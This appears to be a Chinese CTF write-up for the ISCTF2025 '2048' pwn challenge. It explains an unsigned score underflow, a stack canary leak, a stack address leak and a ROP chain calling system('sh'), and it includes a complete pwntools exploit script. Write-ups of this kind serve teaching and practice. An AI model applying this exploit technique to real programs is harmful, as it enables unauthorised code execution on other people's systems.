2048

isctf20252048 (6).png

main函数:

isctf20252048 (1).png

playgame函数:

isctf20252048 (2).png

final函数:

isctf20252048 (3).png

shell函数:

isctf20252048 (4).png

main函数开始让我们输入一个name,这里是放在栈上的,然后调用playgame函数,这个playgame函数就是2048游戏,合并就能加分,如果输入q的话就会退出本次游戏并减分,而且分数会保存,在fianl函数中我们可以看到分数是无符号整数,且如果大于预期值会启动shell函数,那我们就可以利用减分机制使分数变为负数来通过分数检查从而启动shell函数

我们看到shell函数中是启动了一个system的,但是限制了我们只能使用exit和ls指令,我们要寻找其他漏洞,我们可以看到有一个向buf内输入的栈溢出,只要我们不输入exit,这会循环让我们输入,这里我们可以考虑构造rop链,而且我们泄露libc不方便,那我们现在要解决三个问题,1、泄露canary,2、没有pop rdi,3、没有/bin/sh

首先,我们看第一个问题,下面有一个puts(buf),那我们可以填充到canary前泄露canary

我们看第二个问题,虽然没有pop rdi,但是题目给了我们一个gadget函数,是mov rdi, rbp,那我们就可以把存有指令的地址存放在rbp里,也就是我们覆盖rbp用存放着指令的地址,这样我们就能把指令放在rdi中了

第三个问题,我们有两个解决方法,第一个就是把sh存在name中,第二个是在rop链结尾放sh,但是这两个都是在栈上的,那我们就要泄露栈地址,我们这里依旧可以利用puts(buf),不过这次我们是要填充到rbp前面,我们是在final函数里调用shell函数的,这里rbp里面存的是final函数的栈底地址,即final函数rbp的地址,由于name函数的栈与这个的关系不大,所以我们选择在rop链结尾放sh,即我们要找到泄露出的这个栈地址与shell函数栈帧中buf的地址的偏移,我这里采用的方法是在gdb中向buf输入AAAAAAAA,通过搜寻这个字符串找到buf的地址,然后打印出shell函数rbp中存的地址计算:

isctf20252048 (5).png

那我们就能得到buf的地址了,我们把指令放在rop链的末尾,由于我们是向buf[0]开始写入,我们只要加上前面rop链的长度就是存放指令的地址了,最后我们输入exit来结束shell然后触发rop就能getshell了。

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./ez2048')
#p = remote('challenge.bluesharkinfo.com',29260)
elf = ELF('./ez2048')
p.sendlineafter(b"input your name\n>", b"Hacker")
p.sendlineafter(b"Press \"Enter\" to start the game", b"")

for i in range(6):
    p.sendline(b"q") 
    if i < 5:
        p.recvuntil(b"new round\n>")
        p.sendline(b"a")
    else:
        p.recvuntil(b"new round\n>")
        p.sendline(b"Q")

p.sendafter(b"$ ", b'A' * 136 + b'B')
p.recvuntil(b"executing command: ")
p.recvuntil(b'A' * 136 + b'B')
canary = u64(b'\x00' + p.recv(7))
log.success(f"Canary: {hex(canary)}")

log.info("Leaking Stack Address...")
p.sendafter(b"$ ", b'A' * 144)
p.recvuntil(b"executing command: ")
p.recvuntil(b'A' * 144)
stack_raw = p.recv(6)
saved_rbp = u64(stack_raw + b'\x00\x00')
buf_addr = saved_rbp - 0xa0 
log.success(f"Saved RBP: {hex(saved_rbp)}")
log.success(f"Buf Address (Calculated -0x98): {hex(buf_addr)}")
gadget_addr = elf.symbols['gadget'] 
system_addr = elf.plt['system']
ret = 0x40101a 

cmd_offset = 176
cmd_addr = buf_addr + cmd_offset
log.info(f"Targeting command at: {hex(cmd_addr)}")
command = b"sh\x00" 

payload = flat([
    b'\x00' * 136,      
    p64(canary),       
    p64(cmd_addr),     
    gadget_addr, 
    system_addr,  
    p64(0xdeadbeef),    
    command             
])
p.sendafter(b"$ ", payload)
p.sendlineafter(b'$ ',b"exit") 
p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/2048 at main · ZenDuk17/CTF-Writeups


2048
http://localhost:8080/archives/wei-ming-ming-wen-zhang-M8bFkrFQ
作者
ZenDuk
发布于
2025年12月11日
许可协议